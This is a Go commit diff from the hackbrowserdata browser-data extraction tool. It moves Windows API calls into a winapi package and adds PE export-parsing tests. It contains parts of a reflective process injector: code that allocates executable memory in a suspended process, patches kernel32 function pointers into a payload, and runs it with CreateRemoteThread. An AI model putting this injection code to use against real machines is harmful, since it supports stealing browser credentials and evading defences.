refactor(windows): split Windows code into winapi (#575)

This commit is contained in:
Roger
2026-04-19 18:12:37 +08:00
committed by GitHub
parent 76e2615db2
commit ae1ec66ccb
21 changed files with 876 additions and 456 deletions
+106
View File
@@ -0,0 +1,106 @@
//go:build windows
package injector
import (
"os"
"testing"
)
// kernel32Path is always present on a Windows host and its export table
// is stable across versions — an ideal fixture for PE-parsing tests.
const kernel32Path = `C:\Windows\System32\kernel32.dll`
func readKernel32(t *testing.T) []byte {
t.Helper()
data, err := os.ReadFile(kernel32Path)
if err != nil {
t.Fatalf("read %s: %v", kernel32Path, err)
}
if len(data) == 0 {
t.Fatalf("%s is empty", kernel32Path)
}
return data
}
func TestDetectPEArch_Kernel32IsAMD64(t *testing.T) {
arch, err := DetectPEArch(readKernel32(t))
if err != nil {
t.Fatalf("DetectPEArch: %v", err)
}
if arch != ArchAMD64 {
t.Errorf("expected %q, got %q", ArchAMD64, arch)
}
}
func TestDetectPEArch_Garbage(t *testing.T) {
_, err := DetectPEArch([]byte("definitely not a PE file"))
if err == nil {
t.Error("expected parse error for non-PE input")
}
}
func TestDetectPEArch_EmptyInput(t *testing.T) {
_, err := DetectPEArch(nil)
if err == nil {
t.Error("expected parse error for empty input")
}
}
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
// that Bootstrap also relies on via pre-resolved import patching. Passing
// here means both the export-table walker and the RVA→file-offset converter
// work against a real Windows PE — not just against fixtures we control.
func TestFindExportFileOffset_KnownExports(t *testing.T) {
data := readKernel32(t)
// All of these have been stable kernel32 exports since Windows XP.
exports := []string{
"LoadLibraryA",
"GetProcAddress",
"VirtualAlloc",
"VirtualProtect",
"CreateFileW",
}
for _, name := range exports {
off, err := FindExportFileOffset(data, name)
if err != nil {
t.Errorf("%s: unexpected error: %v", name, err)
continue
}
if off == 0 {
t.Errorf("%s: got zero file offset", name)
}
if int(off) >= len(data) {
t.Errorf("%s: offset %d exceeds file size %d", name, off, len(data))
}
}
}
func TestFindExportFileOffset_MissingExport(t *testing.T) {
data := readKernel32(t)
_, err := FindExportFileOffset(data, "HbdNoSuchExport_abcdef1234")
if err == nil {
t.Error("expected error for nonexistent export name")
}
}
func TestFindExportFileOffset_GarbageInput(t *testing.T) {
_, err := FindExportFileOffset([]byte("not a PE file at all"), "LoadLibraryA")
if err == nil {
t.Error("expected error when parsing non-PE input")
}
}
func TestFindExportFileOffset_TruncatedPE(t *testing.T) {
data := readKernel32(t)
// Chop to just the DOS stub — export directory is unreachable.
if len(data) < 128 {
t.Fatalf("kernel32 is implausibly small: %d bytes", len(data))
}
_, err := FindExportFileOffset(data[:128], "LoadLibraryA")
if err == nil {
t.Error("expected error when PE is truncated past the DOS header")
}
}
+12 -14
View File
@@ -12,6 +12,7 @@ import (
"golang.org/x/sys/windows"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
"github.com/moond4rk/hackbrowserdata/utils/winapi"
)
type Reflective struct {
@@ -149,11 +150,10 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
}
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
remoteBase, err := callBoolErr(procVirtualAllocEx,
uintptr(proc), 0,
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(len(payload)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_EXECUTE_READWRITE),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_EXECUTE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: %w", err)
@@ -171,15 +171,13 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
entry := remoteBase + uintptr(loaderRVA)
hThread, err := callBoolErr(procCreateRemoteThread,
uintptr(proc), 0, 0, entry, 0, 0, 0,
)
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
if err != nil {
return fmt.Errorf("injector: %w", err)
}
defer windows.CloseHandle(windows.Handle(hThread))
defer windows.CloseHandle(hThread)
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
state, err := windows.WaitForSingleObject(hThread, uint32(wait/time.Millisecond))
if err != nil {
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
}
@@ -243,11 +241,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
}
pLoadLibraryA := procLoadLibraryA.Addr()
pGetProcAddress := procGetProcAddress.Addr()
pVirtualAlloc := procVirtualAlloc.Addr()
pVirtualProtect := procVirtualProtect.Addr()
pNtFlushIC := procNtFlushIC.Addr()
pLoadLibraryA := winapi.AddrLoadLibraryA()
pGetProcAddress := winapi.AddrGetProcAddress()
pVirtualAlloc := winapi.AddrVirtualAlloc()
pVirtualProtect := winapi.AddrVirtualProtect()
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
pVirtualProtect == 0 || pNtFlushIC == 0 {
-5
View File
@@ -1,5 +0,0 @@
package injector
type Strategy interface {
Inject(exePath string, payload []byte, env map[string]string) ([]byte, error)
}
-52
View File
@@ -1,52 +0,0 @@
//go:build windows
package injector
import (
"errors"
"fmt"
"syscall"
"golang.org/x/sys/windows"
)
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
// reflective_windows.go, and gives us a single place to extend when a new
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
ntdll = windows.NewLazySystemDLL("ntdll.dll")
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
// provide typed wrappers for. We invoke them via LazyProc.Call.
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
// to patch raw function pointers into the payload's DOS stub. We never Call
// these from our own process.
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
procGetProcAddress = kernel32.NewProc("GetProcAddress")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
)
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
// "operation completed successfully" messages. We use errors.As rather than a
// type assertion so the check stays correct if x/sys/windows ever wraps the
// underlying errno.
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
r, _, callErr := p.Call(args...)
if r == 0 {
var errno syscall.Errno
if errors.As(callErr, &errno) && errno == 0 {
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
}
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
}
return r, nil
}